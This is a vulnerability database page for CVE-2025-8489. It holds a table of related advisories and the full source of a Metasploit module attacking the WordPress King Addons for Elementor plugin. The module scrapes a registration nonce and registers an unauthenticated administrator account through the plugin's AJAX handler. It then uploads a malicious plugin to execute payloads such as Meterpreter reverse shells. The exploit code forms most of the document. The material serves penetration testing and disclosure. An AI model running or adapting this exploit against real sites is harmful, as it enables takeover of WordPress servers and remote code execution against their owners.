| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for CVE-2025-8489 | 17 Jan 202602:59 | – | githubexploit | |
| CVE-2025-8489 | 31 Oct 202507:32 | – | circl | |
| WordPress plugin King Addons for Elementor 安全漏洞 | 31 Oct 202500:00 | – | cnnvd | |
| WordPress King Addons for Elementor plugin elevation of privilege vulnerability | 5 Nov 202500:00 | – | cnvd | |
| CVE-2025-8489 | 31 Oct 202506:42 | – | cve | |
| CVE-2025-8489 King Addons for Elementor – Free Elements, Widgets, Templates, and Features for Elementor 24.12.92 - 51.1.14 - Unauthenticated Privilege Escalation | 31 Oct 202506:42 | – | cvelist | |
| EUVD-2025-37306 | 31 Oct 202509:30 | – | euvd | |
| WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE | 10 Dec 202518:57 | – | metasploit | |
| CVE-2025-8489 | 31 Oct 202507:15 | – | nvd | |
| 📄 WordPress King Addons for Elementor 51.1.14 Privilege Escalation | 2 Mar 202600:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
'Description' => %q{
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
in the handle_register_ajax() function which allows unauthenticated attackers to specify
the user_role parameter during registration, enabling them to create administrator accounts.
This exploit requires a WordPress page containing the King Addons "Login Register Form"
Elementor widget, which exposes the required nonce token in the page's JavaScript.
The NONCE_PAGE option must be set to the path of such a page.
Once an administrator account is created, the module uploads and executes a malicious
plugin to achieve remote code execution (RCE).
},
'Author' => [
'Peter Thaleikis', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8489'],
['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-10-30',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
]
)
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless admin_cookie
msg = 'Failed to log in to WordPress admin.'
msg += ' User may exist with a different password.' if user_existed
fail_with(Failure::UnexpectedReply, msg)
end
upload_and_execute_payload(admin_cookie)
end
private
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200
doc = res.get_html_document
return nil unless doc
script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
script_nodes.each do |script_node|
nonce = extract_nonce_from_script(script_node.text)
return nonce if nonce
end
vprint_warning('Could not find nonce')
nil
end
def extract_nonce_from_script(script_content)
match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
return nil unless match
json_data = begin
JSON.parse(match[1].gsub('\/', '/'))
rescue StandardError
nil
end
return nil unless json_data.is_a?(Hash)
nonce = json_data['register_nonce']
return nil unless nonce.is_a?(String) && !nonce.empty?
vprint_status("Found nonce: #{nonce}")
nonce
end
def send_registration_request(username:, email:, password:, user_role: 'administrator')
@nonce ||= find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'king_addons_user_register',
'nonce' => @nonce,
'username' => username,
'email' => email,
'password' => password,
'confirm_password' => password,
'user_role' => user_role,
'terms_required' => 'no'
}
)
end
def create_admin_user(username, password, email)
res = send_registration_request(username: username, email: email, password: password)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
json = res.get_json_document
unless json.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
print_warning('User or email already exists, attempting login with provided credentials...')
return true
end
if json['success'] == true
return false
end
fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_file = "#{payload_name}.php"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation